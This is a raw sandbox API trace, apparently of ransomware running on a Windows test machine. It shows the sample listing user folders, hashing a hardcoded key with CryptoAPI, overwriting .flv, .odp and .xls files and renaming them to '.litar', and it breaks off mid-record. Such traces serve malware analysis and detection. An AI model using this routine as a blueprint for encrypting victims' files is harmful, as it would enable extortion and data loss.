CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iN9wXlo7M3\\XWPPBA.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\in9wxlo7m3\\xwppba.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0125.751] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=29499) returned 1 [0125.751] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0125.755] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x7315, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.755] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0125.756] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0125.756] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.756] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.756] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x733b, lpOverlapped=0x0) returned 1 [0125.757] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.757] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0125.757] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.757] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.757] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a07c8) returned 1 [0125.758] CryptCreateHash (in: hProv=0x6a07c8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0125.758] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0125.758] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0125.758] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0125.758] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0125.758] GetLastError () returned 0x0 [0125.758] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0125.758] CryptReleaseContext (hProv=0x6a07c8, dwFlags=0x0) returned 1 [0125.758] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0125.758] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x7340) returned 0x30fa0b0 [0125.759] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0125.759] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.759] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x7336, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x7336, lpOverlapped=0x0) returned 1 [0125.759] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.759] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x733b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.759] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee28 [0125.759] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30fa0b0 [0125.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30fa0b0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0125.759] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa4e0 [0125.759] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.759] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee28 | out: hHeap=0x5c0000) returned 1 [0125.759] WriteFile (in: hFile=0x624, lpBuffer=0x30fa4e0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa4e0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0125.759] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa4e0 | out: hHeap=0x5c0000) returned 1 [0125.759] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.759] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0125.759] CloseHandle (hObject=0x624) returned 1 [0125.760] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a07c8 [0125.760] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x890) returned 0x30fa0b0 [0125.760] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a07c8 | out: hHeap=0x5c0000) returned 1 [0125.760] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iN9wXlo7M3\\XWPPBA.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\in9wxlo7m3\\xwppba.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iN9wXlo7M3\\XWPPBA.flv.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\in9wxlo7m3\\xwppba.flv.litar")) returned 1 [0125.761] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.761] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.762] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd8818 | out: hHeap=0x5c0000) returned 1 [0125.762] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb097820, ftCreationTime.dwHighDateTime=0x1d4d363, ftLastAccessTime.dwLowDateTime=0x4cfb5280, ftLastAccessTime.dwHighDateTime=0x1d4ccab, ftLastWriteTime.dwLowDateTime=0x4cfb5280, ftLastWriteTime.dwHighDateTime=0x1d4ccab, nFileSizeHigh=0x0, nFileSizeLow=0x733b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XWPPBA.flv", cAlternateFileName="")) returned 0 [0125.762] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0125.762] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3037fd0 | out: hHeap=0x5c0000) returned 1 [0125.762] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084198 | out: hHeap=0x5c0000) returned 1 [0125.762] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0125.762] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee28 [0125.762] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0125.762] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.762] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.762] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.762] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.762] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.762] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.762] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.762] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.762] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.762] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.762] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.762] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.762] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.762] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.762] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.762] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.763] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.763] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.763] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.763] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.763] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.763] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.763] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.763] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.763] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.763] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.763] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0125.763] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.763] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.763] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\") returned="38Tocm\\" [0125.763] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.763] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0125.763] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0125.763] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0125.763] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0125.763] PathFindFileNameW (pszPath="") returned="" [0125.763] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b8d7a80, ftCreationTime.dwHighDateTime=0x1d4ca9d, ftLastAccessTime.dwLowDateTime=0x9c274c10, ftLastAccessTime.dwHighDateTime=0x1d4c74c, ftLastWriteTime.dwLowDateTime=0x9c274c10, ftLastWriteTime.dwHighDateTime=0x1d4c74c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0125.764] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b8d7a80, ftCreationTime.dwHighDateTime=0x1d4ca9d, ftLastAccessTime.dwLowDateTime=0x9c274c10, ftLastAccessTime.dwHighDateTime=0x1d4c74c, ftLastWriteTime.dwLowDateTime=0x9c274c10, ftLastWriteTime.dwHighDateTime=0x1d4c74c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.764] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2802abe0, ftCreationTime.dwHighDateTime=0x1d4ccce, ftLastAccessTime.dwLowDateTime=0xd4146290, ftLastAccessTime.dwHighDateTime=0x1d4c5e7, ftLastWriteTime.dwLowDateTime=0xd4146290, ftLastWriteTime.dwHighDateTime=0x1d4c5e7, nFileSizeHigh=0x0, nFileSizeLow=0x128f9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FRhJVbO27hszhEC4EU.odp", cAlternateFileName="FRHJVB~1.ODP")) returned 1 [0125.764] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\FRhJVbO27hszhEC4EU.odp") returned=".odp" [0125.764] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\FRhJVbO27hszhEC4EU.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\frhjvbo27hszhec4eu.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0125.764] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=76025) returned 1 [0125.765] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0125.766] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x128d3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.766] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0125.768] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x128f9, lpOverlapped=0x0) returned 1 [0125.769] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.769] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.769] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.769] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a07c8) returned 1 [0125.769] CryptCreateHash (in: hProv=0x6a07c8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0125.770] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0125.770] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0125.770] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0125.770] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0125.770] GetLastError () returned 0x0 [0125.770] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0125.770] CryptReleaseContext (hProv=0x6a07c8, dwFlags=0x0) returned 1 [0125.770] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0125.770] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x12900) returned 0x30fa0b0 [0125.770] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0125.770] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.770] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x128f4, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x128f4, lpOverlapped=0x0) returned 1 [0125.771] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.771] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x128f9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.771] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.771] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30fa0b0 [0125.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30fa0b0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0125.771] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa4e0 [0125.771] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.771] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.771] WriteFile (in: hFile=0x624, lpBuffer=0x30fa4e0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa4e0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0125.771] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa4e0 | out: hHeap=0x5c0000) returned 1 [0125.771] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.771] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0125.771] CloseHandle (hObject=0x624) returned 1 [0125.772] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x2f96f08 [0125.772] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8a0) returned 0x30fa0b0 [0125.772] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f96f08 | out: hHeap=0x5c0000) returned 1 [0125.772] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\FRhJVbO27hszhEC4EU.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\frhjvbo27hszhec4eu.odp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\FRhJVbO27hszhEC4EU.odp.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\frhjvbo27hszhec4eu.odp.litar")) returned 1 [0125.773] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.773] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.774] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2ffb060 | out: hHeap=0x5c0000) returned 1 [0125.774] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42ca6b90, ftCreationTime.dwHighDateTime=0x1d4d4dd, ftLastAccessTime.dwLowDateTime=0xa78f9250, ftLastAccessTime.dwHighDateTime=0x1d4c7b1, ftLastWriteTime.dwLowDateTime=0xa78f9250, ftLastWriteTime.dwHighDateTime=0x1d4c7b1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="JfBL0k2cocNOiKXL4y9", cAlternateFileName="JFBL0K~1")) returned 1 [0125.774] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x2ffb060 [0125.774] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x2f96f08 [0125.774] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa8) returned 0x2fd8818 [0125.774] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084198 [0125.774] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a07c8 [0125.774] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30840a8 [0125.774] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0125.774] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30845d0 | out: hHeap=0x5c0000) returned 1 [0125.774] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0740 | out: hHeap=0x5c0000) returned 1 [0125.774] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.774] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0058 | out: hHeap=0x5c0000) returned 1 [0125.774] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30843f0 | out: hHeap=0x5c0000) returned 1 [0125.774] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x2ff7df0 [0125.774] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f96f08 | out: hHeap=0x5c0000) returned 1 [0125.774] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2ffb060 | out: hHeap=0x5c0000) returned 1 [0125.774] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x885e1450, ftCreationTime.dwHighDateTime=0x1d4cb31, ftLastAccessTime.dwLowDateTime=0x8a050bd0, ftLastAccessTime.dwHighDateTime=0x1d4cd19, ftLastWriteTime.dwLowDateTime=0x8a050bd0, ftLastWriteTime.dwHighDateTime=0x1d4cd19, nFileSizeHigh=0x0, nFileSizeLow=0x13ea5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pCC1nCcN4mL.xls", cAlternateFileName="PCC1NC~1.XLS")) returned 1 [0125.774] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.774] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8e) returned 0x2ffb060 [0125.774] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.774] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\pCC1nCcN4mL.xls") returned=".xls" [0125.774] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\pCC1nCcN4mL.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\pcc1nccn4ml.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0125.775] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=81573) returned 1 [0125.775] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0125.777] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x13e7f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.777] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0125.778] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0125.778] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.779] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.779] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x13ea5, lpOverlapped=0x0) returned 1 [0125.779] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.779] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0125.779] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.779] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.780] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a0058) returned 1 [0125.780] 